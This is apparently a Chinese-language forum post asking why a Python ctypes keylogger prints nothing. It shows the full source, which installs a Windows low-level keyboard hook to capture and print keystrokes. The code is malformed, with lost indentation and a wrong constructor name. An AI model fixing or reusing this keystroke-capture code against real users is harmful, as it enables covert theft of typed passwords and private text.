求帮助,代码如下没有报错
但运行后**没有显示任何内容**
```from ctypes import *
import sys
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
user32 = windll.user32
kernel32 = windll.kernel32
hook_types = 13
keydown = 0X0100
ctrl = 162
class keylogger:
def init(self):
self.luser32 = user32
self.hooked = None
def installhookproc(self,pointer):
self.hooked=self.luser32.SetWindowsHookExA(
hook_types,
pointer,
kernel32.GetModuleHandleW(None),
0
)
if not self.hooked:
return False
return True
def uninstallhookproc(self):
if self.hooked is None:
return
self.luser32.UnhookWindowsHookEx(self.hooked)
self.hooked=None
def getfptr(fn):
cm=CFUNCTYPE(c_int,c_int,c_int,POINTER(c_void_p))
return cm(fn)
def hookproc(ncode,wp,lp):
if wp is not keydown:
return user32.CallNextHookEx(keylogger.hooked,ncode,wp,lp)
hookedkey=chr(lp[0])
print(hookedkey) #自定义
if int(lp[0]) == ctrl:
print("Ctrl pressed,Call uninstallhookproc")
keylogger.uninstallhookproc()
sys.exit(-1)
return user32.CallNextHookEx(keylogger.hooked,ncode,wp,lp)
def startkeylog():
msg=MSG()
user32.GetMessageA(byref(msg),0,0,0)
keylogger=keylogger()
pointer=getfptr(hookproc)
if keylogger.installhookproc(pointer):
print('Installed"')
else:
print("Something maybe wrong!")
startkeylog()